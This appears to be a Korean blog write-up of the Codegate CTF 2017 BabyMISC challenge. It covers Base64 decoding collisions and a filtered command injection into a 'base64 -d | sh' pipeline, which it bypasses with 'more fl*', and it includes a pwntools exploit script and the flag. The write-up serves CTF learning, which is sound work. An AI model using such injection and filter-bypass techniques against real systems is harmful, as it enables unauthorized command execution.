2017. 2. 18. 22:40

## Codegate CTF_2017(BabyMISC, MISC)


[Summary]

1. Base64 hash collision & 알고리즘

2. 필터링된 Command Injection


[Analysis] 

 이 문제는 총 3개의 stage로 이루어진 문제이다. 각 스테이지 별로 사용자 input 값을 받는데 정확한 입력 값을 넣으면

다음 stage로 넘어가는 방식이다. 우선 첫 번째 스테이지를 IDA를 통해 아래 [그림 1]과 같이 분석하면 

"TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oig="라는 문자열이 주어지고 사용자 input을 받는다. 이 때 이 stage를

만족하려면 3가지 조건이 있다.


   1. (User input 길이) == (주어진 base64 문자열 길이)

   2. (User input의 Base64 decode 문자열) == (주어진 base64 decode 문자열)

   3. (User input) != (주어진 base64 문자열)


 한마디로 이번 Stage1은 Base64의 충돌성을 찾아내라는 문제이다.


[그림 1] Stage1 디컴파일 소스


 주어진 base64 문자열은 아래 [그림 2]와 같은 이유로 3개의 충돌이 일어날 수 있다. 따라서 답으로 가능한 충돌이 

일어나는 base64 문자열은 "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=",

"TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oii=", "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oij="이다.


[그림 2] base64 충돌


 그 다음은 Stage2이다. Stage2를 IDA를 통해 아래 [그림 3]과 같이 분석하면 2개의 사용자 input을 받는다.

이 때 이 stage를 만족하려면 2가지 조건이 있다.


   1. (input1 길이) != (input2 길이)

   2. (input1 B64D) == (input2 B64D)


 즉 다른 길이의 Base64 인코딩된 문자열을 디코딩 했을 때 같은 결과가 나오는 2개의 B64 String을 찾으라는 이야기이다.

[그림 3] Stage2 디컴파일 소스


 이번 Stage는 Stage1을 잘 이해하고 있으면 기존 B64 String의 마지막에 "===="만 덧붙이면 주어진 조건을 

만족한다는 것을 알 수 있다. 따라서 예시 답을 들자면 "AAAA"를 인코딩한 "QUFBQQ=="를 input1로 

"QUFBQQ======"를 input2로 주면 Stage2도 깰 수 있다.


 그 다음은 Stage3이다. Stage3을 IDA를 통해 아래 [그림 4]와 같이 분석하면 base64 encoding된 사용자 input을 1개

받는다. 이번 Stage에서는 Command Injection을 가능하게 하여 한 가지 명령어를 실행할 수 있게 해주는데 명령어를

Base64 인코딩 시켜 input으로 주게되면 "echo -n %s | base64 -d | sh"문자열에 들어가 디코딩되면서 원하는 명령을

실행시켜 주므로 flag파일을 읽어들이면 된다.


[그림 4] Stage3 디컴파일 소스


 하지만 여기서 한 가지 문제점이 있다. 위 [그림 4]에 나와있듯이 sub_400E0B()함수에서 커맨드에 필터링을 하여 

명령어를 제한적으로 사용할 수 있다. "ls"명령어는 필터링되지 않아 사용할 수 있지만 "cat", "flag", "bin", "sh"등을 

필터링하여 플래그를 읽지지 못하도록 그리고 쉘을 따지 못하도록 한다. 하지만 이는 간단히 "more fl*"라는 명령으로 

우회할 수 있으며 아래 [그림 5]와 같이 flag를 출력하는 것을 확인할 수 있다.


[Exploit Code] - babymisc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import base64
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("BabyMISC")
else:
    p = remote("110.10.212.138"19090)
 
binary = ELF("./BabyMISC")
 
raw_input()
 
def solve_stage1(payload):
    print p.recvuntil("[+] Input > ")
    p.send(payload+'\n')
 
def solve_stage2(payload1, payload2):
    print p.recvuntil("[+] Input 1 ")
    p.send(payload1+'\n')
    print p.recvuntil("[+] Input 2 ")
    p.send(payload2+'\n')
 
def solve_stage3(payload):
    command = base64.b64encode(payload)
    print p.recvuntil("[*] Input > ")
    p.send(command+'\n')
 
if __name__ == '__main__':
    payload1 = "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=" # "~i=", "~j="
    solve_stage1(payload1)
    payload2_1 = "QUFBQQ=="; payload2_2 = "QUFBQQ======"
    solve_stage2(payload2_1, payload2_2)
    payload3 = "more fl*"
    solve_stage3(payload3)
    
    p.interactive()
 
cs

 


[Get Flag~~!!!!]

[그림 5] flag 확인("Nav3r_L3t_y0ur_L3ft_h4nd_kn0w_wh4t_y0ur_r1ghT_h4nd5_H4ck1ng")


끝~!





'CTF writeup' 카테고리의 다른 글

[Codegate CTF_2017] messenger(pwn)  (8) 2017.02.18
[Codegate CTF_2017] BabyPwn(pwn)  (0) 2017.02.18
[Christmas CTF_2016] who is solo(pwn)  (8) 2017.01.17
[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
Posted by holinder4S